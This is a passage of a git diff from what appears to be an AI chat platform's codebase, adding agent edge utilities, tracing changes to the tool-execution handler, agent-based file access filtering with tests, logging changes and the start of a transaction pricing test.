+ { id: agent.id },
+ { avatar: { filepath: newPath, source: agent.avatar.source } },
+ { updatingUserId: userId, skipVersioning: true },
+ );
+ stats.updated++;
+ } catch (persistErr) {
+ logger.error('[refreshListAvatars] Avatar refresh persist error: %o', persistErr);
+ stats.persist_error++;
}
} catch (err) {
logger.error('[refreshListAvatars] S3 avatar refresh error: %o', err);
@@ -117,6 +115,10 @@ export const refreshListAvatars = async ({
);
}
- logger.info('[refreshListAvatars] Avatar refresh summary: %o', stats);
+ const { urlCache: _urlCache, ...loggableStats } = stats;
+ logger.info('[refreshListAvatars] Avatar refresh summary: %o', {
+ ...loggableStats,
+ urlCacheSize: Object.keys(_urlCache).length,
+ });
return stats;
};
diff --git a/packages/api/src/agents/edges.spec.ts b/packages/api/src/agents/edges.spec.ts
index 1b30a202d0..b23f00f63f 100644
--- a/packages/api/src/agents/edges.spec.ts
+++ b/packages/api/src/agents/edges.spec.ts
@@ -1,5 +1,11 @@
import type { GraphEdge } from 'librechat-data-provider';
-import { getEdgeKey, getEdgeParticipants, filterOrphanedEdges, createEdgeCollector } from './edges';
+import {
+ getEdgeKey,
+ getEdgeParticipants,
+ collectEdgeAgentIds,
+ filterOrphanedEdges,
+ createEdgeCollector,
+} from './edges';
describe('edges utilities', () => {
describe('getEdgeKey', () => {
@@ -70,6 +76,49 @@ describe('edges utilities', () => {
});
});
+ describe('collectEdgeAgentIds', () => {
+ it('should return empty set for undefined input', () => {
+ expect(collectEdgeAgentIds(undefined)).toEqual(new Set());
+ });
+
+ it('should return empty set for empty array', () => {
+ expect(collectEdgeAgentIds([])).toEqual(new Set());
+ });
+
+ it('should collect IDs from simple string from/to', () => {
+ const edges: GraphEdge[] = [{ from: 'agent_a', to: 'agent_b', edgeType: 'handoff' }];
+ expect(collectEdgeAgentIds(edges)).toEqual(new Set(['agent_a', 'agent_b']));
+ });
+
+ it('should collect IDs from array from/to values', () => {
+ const edges: GraphEdge[] = [
+ { from: ['agent_a', 'agent_b'], to: ['agent_c', 'agent_d'], edgeType: 'handoff' },
+ ];
+ expect(collectEdgeAgentIds(edges)).toEqual(
+ new Set(['agent_a', 'agent_b', 'agent_c', 'agent_d']),
+ );
+ });
+
+ it('should deduplicate IDs across edges', () => {
+ const edges: GraphEdge[] = [
+ { from: 'agent_a', to: 'agent_b', edgeType: 'handoff' },
+ { from: 'agent_b', to: 'agent_c', edgeType: 'handoff' },
+ { from: 'agent_a', to: 'agent_c', edgeType: 'direct' },
+ ];
+ expect(collectEdgeAgentIds(edges)).toEqual(new Set(['agent_a', 'agent_b', 'agent_c']));
+ });
+
+ it('should handle mixed scalar and array edges', () => {
+ const edges: GraphEdge[] = [
+ { from: 'agent_a', to: ['agent_b', 'agent_c'], edgeType: 'handoff' },
+ { from: ['agent_c', 'agent_d'], to: 'agent_e', edgeType: 'direct' },
+ ];
+ expect(collectEdgeAgentIds(edges)).toEqual(
+ new Set(['agent_a', 'agent_b', 'agent_c', 'agent_d', 'agent_e']),
+ );
+ });
+ });
+
describe('filterOrphanedEdges', () => {
const edges: GraphEdge[] = [
{ from: 'agent_a', to: 'agent_b', edgeType: 'handoff' },
diff --git a/packages/api/src/agents/edges.ts b/packages/api/src/agents/edges.ts
index 4d2883d165..9a36105b74 100644
--- a/packages/api/src/agents/edges.ts
+++ b/packages/api/src/agents/edges.ts
@@ -43,6 +43,20 @@ export function filterOrphanedEdges(edges: GraphEdge[], skippedAgentIds: Set {
+ const ids = new Set();
+ if (!edges || edges.length === 0) {
+ return ids;
+ }
+ for (const edge of edges) {
+ for (const id of getEdgeParticipants(edge)) {
+ ids.add(id);
+ }
+ }
+ return ids;
+}
+
/**
* Result of discovering and aggregating edges from connected agents.
*/
diff --git a/packages/api/src/agents/handlers.ts b/packages/api/src/agents/handlers.ts
index 62200b1a46..d1be596219 100644
--- a/packages/api/src/agents/handlers.ts
+++ b/packages/api/src/agents/handlers.ts
@@ -9,6 +9,7 @@ import type {
ToolExecuteBatchRequest,
} from '@librechat/agents';
import type { StructuredToolInterface } from '@langchain/core/tools';
+import { runOutsideTracing } from '~/utils';
export interface ToolEndCallbackData {
output: {
@@ -57,110 +58,122 @@ export function createToolExecuteHandler(options: ToolExecuteOptions): EventHand
const { toolCalls, agentId, configurable, metadata, resolve, reject } = data;
try {
- const toolNames = [...new Set(toolCalls.map((tc: ToolCallRequest) => tc.name))];
- const { loadedTools, configurable: toolConfigurable } = await loadTools(toolNames, agentId);
- const toolMap = new Map(loadedTools.map((t) => [t.name, t]));
- const mergedConfigurable = { ...configurable, ...toolConfigurable };
+ await runOutsideTracing(async () => {
+ try {
+ const toolNames = [...new Set(toolCalls.map((tc: ToolCallRequest) => tc.name))];
+ const { loadedTools, configurable: toolConfigurable } = await loadTools(
+ toolNames,
+ agentId,
+ );
+ const toolMap = new Map(loadedTools.map((t) => [t.name, t]));
+ const mergedConfigurable = { ...configurable, ...toolConfigurable };
- const results: ToolExecuteResult[] = await Promise.all(
- toolCalls.map(async (tc: ToolCallRequest) => {
- const tool = toolMap.get(tc.name);
+ const results: ToolExecuteResult[] = await Promise.all(
+ toolCalls.map(async (tc: ToolCallRequest) => {
+ const tool = toolMap.get(tc.name);
- if (!tool) {
- logger.warn(
- `[ON_TOOL_EXECUTE] Tool "${tc.name}" not found. Available: ${[...toolMap.keys()].join(', ')}`,
- );
- return {
- toolCallId: tc.id,
- status: 'error' as const,
- content: '',
- errorMessage: `Tool ${tc.name} not found`,
- };
- }
-
- try {
- const toolCallConfig: Record = {
- id: tc.id,
- stepId: tc.stepId,
- turn: tc.turn,
- };
-
- if (
- tc.codeSessionContext &&
- (tc.name === Constants.EXECUTE_CODE ||
- tc.name === Constants.PROGRAMMATIC_TOOL_CALLING)
- ) {
- toolCallConfig.session_id = tc.codeSessionContext.session_id;
- if (tc.codeSessionContext.files && tc.codeSessionContext.files.length > 0) {
- toolCallConfig._injected_files = tc.codeSessionContext.files;
- }
- }
-
- if (tc.name === Constants.PROGRAMMATIC_TOOL_CALLING) {
- const toolRegistry = mergedConfigurable?.toolRegistry as LCToolRegistry | undefined;
- const ptcToolMap = mergedConfigurable?.ptcToolMap as
- | Map
- | undefined;
- if (toolRegistry) {
- const toolDefs: LCTool[] = Array.from(toolRegistry.values()).filter(
- (t) =>
- t.name !== Constants.PROGRAMMATIC_TOOL_CALLING &&
- t.name !== Constants.TOOL_SEARCH,
+ if (!tool) {
+ logger.warn(
+ `[ON_TOOL_EXECUTE] Tool "${tc.name}" not found. Available: ${[...toolMap.keys()].map((k) => `"${k}"`).join(', ')}`,
);
- toolCallConfig.toolDefs = toolDefs;
- toolCallConfig.toolMap = ptcToolMap ?? toolMap;
+ return {
+ toolCallId: tc.id,
+ status: 'error' as const,
+ content: '',
+ errorMessage: `Tool ${tc.name} not found`,
+ };
}
- }
- const result = await tool.invoke(tc.args, {
- toolCall: toolCallConfig,
- configurable: mergedConfigurable,
- metadata,
- } as Record);
+ try {
+ const toolCallConfig: Record = {
+ id: tc.id,
+ stepId: tc.stepId,
+ turn: tc.turn,
+ };
- if (toolEndCallback) {
- await toolEndCallback(
- {
- output: {
- name: tc.name,
- tool_call_id: tc.id,
- content: result.content,
- artifact: result.artifact,
- },
- },
- {
- run_id: (metadata as Record)?.run_id as string | undefined,
- thread_id: (metadata as Record)?.thread_id as
- | string
- | undefined,
- ...metadata,
- },
- );
- }
+ if (
+ tc.codeSessionContext &&
+ (tc.name === Constants.EXECUTE_CODE ||
+ tc.name === Constants.PROGRAMMATIC_TOOL_CALLING)
+ ) {
+ toolCallConfig.session_id = tc.codeSessionContext.session_id;
+ if (tc.codeSessionContext.files && tc.codeSessionContext.files.length > 0) {
+ toolCallConfig._injected_files = tc.codeSessionContext.files;
+ }
+ }
- return {
- toolCallId: tc.id,
- content: result.content,
- artifact: result.artifact,
- status: 'success' as const,
- };
- } catch (toolError) {
- const error = toolError as Error;
- logger.error(`[ON_TOOL_EXECUTE] Tool ${tc.name} error:`, error);
- return {
- toolCallId: tc.id,
- status: 'error' as const,
- content: '',
- errorMessage: error.message,
- };
- }
- }),
- );
+ if (tc.name === Constants.PROGRAMMATIC_TOOL_CALLING) {
+ const toolRegistry = mergedConfigurable?.toolRegistry as
+ | LCToolRegistry
+ | undefined;
+ const ptcToolMap = mergedConfigurable?.ptcToolMap as
+ | Map
+ | undefined;
+ if (toolRegistry) {
+ const toolDefs: LCTool[] = Array.from(toolRegistry.values()).filter(
+ (t) =>
+ t.name !== Constants.PROGRAMMATIC_TOOL_CALLING &&
+ t.name !== Constants.TOOL_SEARCH,
+ );
+ toolCallConfig.toolDefs = toolDefs;
+ toolCallConfig.toolMap = ptcToolMap ?? toolMap;
+ }
+ }
- resolve(results);
- } catch (error) {
- logger.error('[ON_TOOL_EXECUTE] Fatal error:', error);
- reject(error as Error);
+ const result = await tool.invoke(tc.args, {
+ toolCall: toolCallConfig,
+ configurable: mergedConfigurable,
+ metadata,
+ } as Record);
+
+ if (toolEndCallback) {
+ await toolEndCallback(
+ {
+ output: {
+ name: tc.name,
+ tool_call_id: tc.id,
+ content: result.content,
+ artifact: result.artifact,
+ },
+ },
+ {
+ run_id: (metadata as Record)?.run_id as string | undefined,
+ thread_id: (metadata as Record)?.thread_id as
+ | string
+ | undefined,
+ ...metadata,
+ },
+ );
+ }
+
+ return {
+ toolCallId: tc.id,
+ content: result.content,
+ artifact: result.artifact,
+ status: 'success' as const,
+ };
+ } catch (toolError) {
+ const error = toolError as Error;
+ logger.error(`[ON_TOOL_EXECUTE] Tool ${tc.name} error:`, error);
+ return {
+ toolCallId: tc.id,
+ status: 'error' as const,
+ content: '',
+ errorMessage: error.message,
+ };
+ }
+ }),
+ );
+
+ resolve(results);
+ } catch (error) {
+ logger.error('[ON_TOOL_EXECUTE] Fatal error:', error);
+ reject(error as Error);
+ }
+ });
+ } catch (outerError) {
+ logger.error('[ON_TOOL_EXECUTE] Unexpected error:', outerError);
+ reject(outerError as Error);
}
},
};
diff --git a/packages/api/src/agents/index.ts b/packages/api/src/agents/index.ts
index 9d13b3dd8e..47e15b8c28 100644
--- a/packages/api/src/agents/index.ts
+++ b/packages/api/src/agents/index.ts
@@ -9,6 +9,7 @@ export * from './legacy';
export * from './memory';
export * from './migration';
export * from './openai';
+export * from './transactions';
export * from './usage';
export * from './resources';
export * from './responses';
diff --git a/packages/api/src/agents/initialize.ts b/packages/api/src/agents/initialize.ts
index af604beb81..d5bfca5aba 100644
--- a/packages/api/src/agents/initialize.ts
+++ b/packages/api/src/agents/initialize.ts
@@ -31,6 +31,7 @@ import { filterFilesByEndpointConfig } from '~/files';
import { generateArtifactsPrompt } from '~/prompts';
import { getProviderConfig } from '~/endpoints';
import { primeResources } from './resources';
+import type { TFilterFilesByAgentAccess } from './resources';
/**
* Extended agent type with additional fields needed after initialization
@@ -52,6 +53,8 @@ export type InitializedAgent = Agent & {
toolDefinitions?: LCTool[];
/** Precomputed flag indicating if any tools have defer_loading enabled (for efficient runtime checks) */
hasDeferredTools?: boolean;
+ /** Whether the actions capability is enabled (resolved during tool loading) */
+ actionsEnabled?: boolean;
};
/**
@@ -90,6 +93,7 @@ export interface InitializeAgentParams {
/** Serializable tool definitions for event-driven mode */
toolDefinitions?: LCTool[];
hasDeferredTools?: boolean;
+ actionsEnabled?: boolean;
} | null>;
/** Endpoint option (contains model_parameters and endpoint info) */
endpointOption?: Partial;
@@ -108,7 +112,9 @@ export interface InitializeAgentDbMethods extends EndpointDbMethods {
/** Update usage tracking for multiple files */
updateFilesUsage: (files: Array<{ file_id: string }>, fileIds?: string[]) => Promise;
/** Get files from database */
- getFiles: (filter: unknown, sort: unknown, select: unknown, opts?: unknown) => Promise;
+ getFiles: (filter: unknown, sort: unknown, select: unknown) => Promise;
+ /** Filter files by agent access permissions (ownership or agent attachment) */
+ filterFilesByAgentAccess?: TFilterFilesByAgentAccess;
/** Get tool files by IDs (user-uploaded files only, code files handled separately) */
getToolFilesByIds: (fileIds: string[], toolSet: Set) => Promise;
/** Get conversation file IDs */
@@ -268,6 +274,7 @@ export async function initializeAgent(
const { attachments: primedAttachments, tool_resources } = await primeResources({
req: req as never,
getFiles: db.getFiles as never,
+ filterFiles: db.filterFilesByAgentAccess,
appConfig: req.config,
agentId: agent.id,
attachments: currentFiles
@@ -283,6 +290,7 @@ export async function initializeAgent(
userMCPAuthMap,
toolDefinitions,
hasDeferredTools,
+ actionsEnabled,
tools: structuredTools,
} = (await loadTools?.({
req,
@@ -300,6 +308,7 @@ export async function initializeAgent(
toolRegistry: undefined,
toolDefinitions: [],
hasDeferredTools: false,
+ actionsEnabled: undefined,
};
const { getOptions, overrideProvider } = getProviderConfig({
@@ -409,6 +418,7 @@ export async function initializeAgent(
userMCPAuthMap,
toolDefinitions,
hasDeferredTools,
+ actionsEnabled,
attachments: finalAttachments,
toolContextMap: toolContextMap ?? {},
useLegacyContent: !!options.useLegacyContent,
diff --git a/packages/api/src/agents/memory.ts b/packages/api/src/agents/memory.ts
index bb4bd38282..b7ae8a8123 100644
--- a/packages/api/src/agents/memory.ts
+++ b/packages/api/src/agents/memory.ts
@@ -19,7 +19,8 @@ import type { TAttachment, MemoryArtifact } from 'librechat-data-provider';
import type { BaseMessage, ToolMessage } from '@langchain/core/messages';
import type { Response as ServerResponse } from 'express';
import { GenerationJobManager } from '~/stream/GenerationJobManager';
-import { Tokenizer, resolveHeaders, createSafeUser } from '~/utils';
+import { resolveHeaders, createSafeUser } from '~/utils';
+import Tokenizer from '~/utils/tokenizer';
type RequiredMemoryMethods = Pick<
MemoryMethods,
@@ -475,13 +476,21 @@ ${memory ?? 'No existing memories'}`;
};
const content = await run.processStream(inputs, config);
if (content) {
- logger.debug('Memory Agent processed memory successfully', content);
+ logger.debug('[MemoryAgent] Processed successfully', {
+ userId,
+ conversationId,
+ messageId,
+ provider: llmConfig?.provider,
+ });
} else {
- logger.warn('Memory Agent processed memory but returned no content');
+ logger.debug('[MemoryAgent] Returned no content', { userId, conversationId, messageId });
}
return await Promise.all(artifactPromises);
} catch (error) {
- logger.error('Memory Agent failed to process memory', error);
+ logger.error(
+ `[MemoryAgent] Failed to process memory | userId: ${userId} | conversationId: ${conversationId} | messageId: ${messageId}`,
+ { error },
+ );
}
}
diff --git a/packages/api/src/agents/resources.test.ts b/packages/api/src/agents/resources.test.ts
index bfd2327764..641fb9284c 100644
--- a/packages/api/src/agents/resources.test.ts
+++ b/packages/api/src/agents/resources.test.ts
@@ -4,7 +4,7 @@ import { EModelEndpoint, EToolResources, AgentCapabilities } from 'librechat-dat
import type { TAgentsEndpoint, TFile } from 'librechat-data-provider';
import type { IUser, AppConfig } from '@librechat/data-schemas';
import type { Request as ServerRequest } from 'express';
-import type { TGetFiles } from './resources';
+import type { TGetFiles, TFilterFilesByAgentAccess } from './resources';
// Mock logger
jest.mock('@librechat/data-schemas', () => ({
@@ -17,16 +17,16 @@ describe('primeResources', () => {
let mockReq: ServerRequest & { user?: IUser };
let mockAppConfig: AppConfig;
let mockGetFiles: jest.MockedFunction;
+ let mockFilterFiles: jest.MockedFunction;
let requestFileSet: Set;
beforeEach(() => {
- // Reset mocks
jest.clearAllMocks();
- // Setup mock request
- mockReq = {} as unknown as ServerRequest & { user?: IUser };
+ mockReq = {
+ user: { id: 'user1', role: 'USER' },
+ } as unknown as ServerRequest & { user?: IUser };
- // Setup mock appConfig
mockAppConfig = {
endpoints: {
[EModelEndpoint.agents]: {
@@ -35,10 +35,9 @@ describe('primeResources', () => {
},
} as AppConfig;
- // Setup mock getFiles function
mockGetFiles = jest.fn();
+ mockFilterFiles = jest.fn().mockImplementation(({ files }) => Promise.resolve(files));
- // Setup request file set
requestFileSet = new Set(['file1', 'file2', 'file3']);
});
@@ -70,20 +69,21 @@ describe('primeResources', () => {
req: mockReq,
appConfig: mockAppConfig,
getFiles: mockGetFiles,
+ filterFiles: mockFilterFiles,
requestFileSet,
attachments: undefined,
tool_resources,
+ agentId: 'agent_test',
});
- expect(mockGetFiles).toHaveBeenCalledWith(
- { file_id: { $in: ['ocr-file-1'] } },
- {},
- {},
- { userId: undefined, agentId: undefined },
- );
+ expect(mockGetFiles).toHaveBeenCalledWith({ file_id: { $in: ['ocr-file-1'] } }, {}, {});
+ expect(mockFilterFiles).toHaveBeenCalledWith({
+ files: mockOcrFiles,
+ userId: 'user1',
+ role: 'USER',
+ agentId: 'agent_test',
+ });
expect(result.attachments).toEqual(mockOcrFiles);
- // Context field is deleted after files are fetched and re-categorized
- // Since the file is not embedded and has no special properties, it won't be categorized
expect(result.tool_resources).toEqual({});
});
});
@@ -1108,12 +1108,10 @@ describe('primeResources', () => {
'ocr-file-1',
);
- // Verify getFiles was called with merged file_ids
expect(mockGetFiles).toHaveBeenCalledWith(
{ file_id: { $in: ['context-file-1', 'ocr-file-1'] } },
{},
{},
- { userId: undefined, agentId: undefined },
);
});
@@ -1241,6 +1239,249 @@ describe('primeResources', () => {
});
});
+ describe('access control filtering', () => {
+ it('should filter context files through filterFiles when provided', async () => {
+ const ownedFile: TFile = {
+ user: 'user1',
+ file_id: 'owned-file',
+ filename: 'owned.pdf',
+ filepath: '/uploads/owned.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ bytes: 1024,
+ embedded: false,
+ usage: 0,
+ };
+
+ const inaccessibleFile: TFile = {
+ user: 'other-user',
+ file_id: 'inaccessible-file',
+ filename: 'secret.pdf',
+ filepath: '/uploads/secret.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ bytes: 2048,
+ embedded: false,
+ usage: 0,
+ };
+
+ mockGetFiles.mockResolvedValue([ownedFile, inaccessibleFile]);
+ mockFilterFiles.mockResolvedValue([ownedFile]);
+
+ const tool_resources = {
+ [EToolResources.context]: {
+ file_ids: ['owned-file', 'inaccessible-file'],
+ },
+ };
+
+ const result = await primeResources({
+ req: mockReq,
+ appConfig: mockAppConfig,
+ getFiles: mockGetFiles,
+ filterFiles: mockFilterFiles,
+ requestFileSet,
+ attachments: undefined,
+ tool_resources,
+ agentId: 'agent_shared',
+ });
+
+ expect(mockFilterFiles).toHaveBeenCalledWith({
+ files: [ownedFile, inaccessibleFile],
+ userId: 'user1',
+ role: 'USER',
+ agentId: 'agent_shared',
+ });
+ expect(result.attachments).toEqual([ownedFile]);
+ expect(result.attachments).not.toContainEqual(inaccessibleFile);
+ });
+
+ it('should filter OCR files merged into context through filterFiles', async () => {
+ const ocrFile: TFile = {
+ user: 'other-user',
+ file_id: 'ocr-restricted',
+ filename: 'scan.pdf',
+ filepath: '/uploads/scan.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ bytes: 1024,
+ embedded: false,
+ usage: 0,
+ };
+
+ mockGetFiles.mockResolvedValue([ocrFile]);
+ mockFilterFiles.mockResolvedValue([]);
+
+ const tool_resources = {
+ [EToolResources.ocr]: {
+ file_ids: ['ocr-restricted'],
+ },
+ };
+
+ const result = await primeResources({
+ req: mockReq,
+ appConfig: mockAppConfig,
+ getFiles: mockGetFiles,
+ filterFiles: mockFilterFiles,
+ requestFileSet,
+ attachments: undefined,
+ tool_resources,
+ agentId: 'agent_shared',
+ });
+
+ expect(mockFilterFiles).toHaveBeenCalledWith({
+ files: [ocrFile],
+ userId: 'user1',
+ role: 'USER',
+ agentId: 'agent_shared',
+ });
+ expect(result.attachments).toBeUndefined();
+ });
+
+ it('should skip filtering when filterFiles is not provided', async () => {
+ const mockFile: TFile = {
+ user: 'user1',
+ file_id: 'file-1',
+ filename: 'doc.pdf',
+ filepath: '/uploads/doc.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ bytes: 1024,
+ embedded: false,
+ usage: 0,
+ };
+
+ mockGetFiles.mockResolvedValue([mockFile]);
+
+ const tool_resources = {
+ [EToolResources.context]: {
+ file_ids: ['file-1'],
+ },
+ };
+
+ const result = await primeResources({
+ req: mockReq,
+ appConfig: mockAppConfig,
+ getFiles: mockGetFiles,
+ requestFileSet,
+ attachments: undefined,
+ tool_resources,
+ agentId: 'agent_test',
+ });
+
+ expect(mockFilterFiles).not.toHaveBeenCalled();
+ expect(result.attachments).toEqual([mockFile]);
+ });
+
+ it('should skip filtering when user ID is missing', async () => {
+ const reqNoUser = {} as unknown as ServerRequest & { user?: IUser };
+ const mockFile: TFile = {
+ user: 'user1',
+ file_id: 'file-1',
+ filename: 'doc.pdf',
+ filepath: '/uploads/doc.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ bytes: 1024,
+ embedded: false,
+ usage: 0,
+ };
+
+ mockGetFiles.mockResolvedValue([mockFile]);
+
+ const tool_resources = {
+ [EToolResources.context]: {
+ file_ids: ['file-1'],
+ },
+ };
+
+ const result = await primeResources({
+ req: reqNoUser,
+ appConfig: mockAppConfig,
+ getFiles: mockGetFiles,
+ filterFiles: mockFilterFiles,
+ requestFileSet,
+ attachments: undefined,
+ tool_resources,
+ agentId: 'agent_test',
+ });
+
+ expect(mockFilterFiles).not.toHaveBeenCalled();
+ expect(result.attachments).toEqual([mockFile]);
+ });
+
+ it('should gracefully handle filterFiles rejection', async () => {
+ const mockFile: TFile = {
+ user: 'user1',
+ file_id: 'file-1',
+ filename: 'doc.pdf',
+ filepath: '/uploads/doc.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ bytes: 1024,
+ embedded: false,
+ usage: 0,
+ };
+
+ mockGetFiles.mockResolvedValue([mockFile]);
+ mockFilterFiles.mockRejectedValue(new Error('DB failure'));
+
+ const tool_resources = {
+ [EToolResources.context]: {
+ file_ids: ['file-1'],
+ },
+ };
+
+ const result = await primeResources({
+ req: mockReq,
+ appConfig: mockAppConfig,
+ getFiles: mockGetFiles,
+ filterFiles: mockFilterFiles,
+ requestFileSet,
+ attachments: undefined,
+ tool_resources,
+ agentId: 'agent_test',
+ });
+
+ expect(logger.error).toHaveBeenCalledWith('Error priming resources', expect.any(Error));
+ expect(result.tool_resources).toEqual(tool_resources);
+ });
+
+ it('should skip filtering when agentId is missing', async () => {
+ const mockFile: TFile = {
+ user: 'user1',
+ file_id: 'file-1',
+ filename: 'doc.pdf',
+ filepath: '/uploads/doc.pdf',
+ object: 'file',
+ type: 'application/pdf',
+ bytes: 1024,
+ embedded: false,
+ usage: 0,
+ };
+
+ mockGetFiles.mockResolvedValue([mockFile]);
+
+ const tool_resources = {
+ [EToolResources.context]: {
+ file_ids: ['file-1'],
+ },
+ };
+
+ const result = await primeResources({
+ req: mockReq,
+ appConfig: mockAppConfig,
+ getFiles: mockGetFiles,
+ filterFiles: mockFilterFiles,
+ requestFileSet,
+ attachments: undefined,
+ tool_resources,
+ });
+
+ expect(mockFilterFiles).not.toHaveBeenCalled();
+ expect(result.attachments).toEqual([mockFile]);
+ });
+ });
+
describe('edge cases', () => {
it('should handle missing appConfig agents endpoint gracefully', async () => {
const reqWithoutLocals = {} as ServerRequest & { user?: IUser };
diff --git a/packages/api/src/agents/resources.ts b/packages/api/src/agents/resources.ts
index 4655453847..e147c743cf 100644
--- a/packages/api/src/agents/resources.ts
+++ b/packages/api/src/agents/resources.ts
@@ -10,16 +10,26 @@ import type { Request as ServerRequest } from 'express';
* @param filter - MongoDB filter query for files
* @param _sortOptions - Sorting options (currently unused)
* @param selectFields - Field selection options
- * @param options - Additional options including userId and agentId for access control
* @returns Promise resolving to array of files
*/
export type TGetFiles = (
filter: FilterQuery,
_sortOptions: ProjectionType | null | undefined,
selectFields: QueryOptions | null | undefined,
- options?: { userId?: string; agentId?: string },
) => Promise>;
+/**
+ * Function type for filtering files by agent access permissions.
+ * Used to enforce that only files the user has access to (via ownership or agent attachment)
+ * are returned after a raw DB query.
+ */
+export type TFilterFilesByAgentAccess = (params: {
+ files: Array;
+ userId: string;
+ role?: string;
+ agentId: string;
+}) => Promise>;
+
/**
* Helper function to add a file to a specific tool resource category
* Prevents duplicate files within the same resource category
@@ -128,7 +138,7 @@ const categorizeFileForToolResources = ({
/**
* Primes resources for agent execution by processing attachments and tool resources
* This function:
- * 1. Fetches OCR files if OCR is enabled
+ * 1. Fetches context/OCR files (filtered by agent access control when available)
* 2. Processes attachment files
* 3. Categorizes files into appropriate tool resources
* 4. Prevents duplicate files across all sources
@@ -137,15 +147,18 @@ const categorizeFileForToolResources = ({
* @param params.req - Express request object
* @param params.appConfig - Application configuration object
* @param params.getFiles - Function to retrieve files from database
+ * @param params.filterFiles - Optional function to enforce agent-based file access control
* @param params.requestFileSet - Set of file IDs from the current request
* @param params.attachments - Promise resolving to array of attachment files
* @param params.tool_resources - Existing tool resources for the agent
+ * @param params.agentId - Agent ID used for access control filtering
* @returns Promise resolving to processed attachments and updated tool resources
*/
export const primeResources = async ({
req,
appConfig,
getFiles,
+ filterFiles,
requestFileSet,
attachments: _attachments,
tool_resources: _tool_resources,
@@ -157,6 +170,7 @@ export const primeResources = async ({
attachments: Promise> | undefined;
tool_resources: AgentToolResources | undefined;
getFiles: TGetFiles;
+ filterFiles?: TFilterFilesByAgentAccess;
agentId?: string;
}): Promise<{
attachments: Array | undefined;
@@ -228,15 +242,23 @@ export const primeResources = async ({
if (fileIds.length > 0 && isContextEnabled) {
delete tool_resources[EToolResources.context];
- const context = await getFiles(
+ let context = await getFiles(
{
file_id: { $in: fileIds },
},
{},
{},
- { userId: req.user?.id, agentId },
);
+ if (filterFiles && req.user?.id && agentId) {
+ context = await filterFiles({
+ files: context,
+ userId: req.user.id,
+ role: req.user.role,
+ agentId,
+ });
+ }
+
for (const file of context) {
if (!file?.file_id) {
continue;
diff --git a/packages/api/src/agents/transactions.bulk-parity.spec.ts b/packages/api/src/agents/transactions.bulk-parity.spec.ts
new file mode 100644
index 0000000000..bf89682d6f
--- /dev/null
+++ b/packages/api/src/agents/transactions.bulk-parity.spec.ts
@@ -0,0 +1,559 @@
+/**
+ * Real-DB parity tests for the bulk transaction path.
+ *
+ * Each test uses the actual getMultiplier/getCacheMultiplier pricing functions
+ * (the same ones the legacy createTransaction path uses) and runs the bulk path
+ * against a real MongoMemoryServer instance.
+ *
+ * The assertion pattern: compute the expected tokenValue/rate/rawAmount from the
+ * pricing functions directly, then verify the DB state matches exactly. Since both
+ * legacy (createTransaction) and bulk (prepareTokenSpend + bulkWriteTransactions)
+ * call the same pricing functions with the same inputs, their outputs must be
+ * numerically identical.
+ */
+import mongoose from 'mongoose';
+import { MongoMemoryServer } from 'mongodb-memory-server';
+import {
+ CANCEL_RATE,
+ createMethods,
+ balanceSchema,
+ transactionSchema,
+} from '@librechat/data-schemas';
+import type { PricingFns, TxMetadata } from './transactions';
+import {
+ prepareStructuredTokenSpend,
+ bulkWriteTransactions,
+ prepareTokenSpend,
+} from './transactions';
+
+jest.mock('@librechat/data-schemas', () => {
+ const actual = jest.requireActual('@librechat/data-schemas');
+ return {
+ ...actual,
+ logger: { debug: jest.fn(), error: jest.fn(), warn: jest.fn(), info: jest.fn() },
+ };
+});
+
+// Real pricing functions from api/models/tx.js — same ones the legacy path uses
+/* eslint-disable @typescript-eslint/no-require-imports */
+const {
+ getMultiplier,
+ getCacheMultiplier,
+ tokenValues,
+ premiumTokenValues,
+} = require('../../../../api/models/tx.js');
+/* eslint-enable @typescript-eslint/no-require-imports */
+
+const pricing: PricingFns = { getMultiplier, getCacheMultiplier };
+
+let mongoServer: MongoMemoryServer;
+let Transaction: mongoose.Model;
+let Balance: mongoose.Model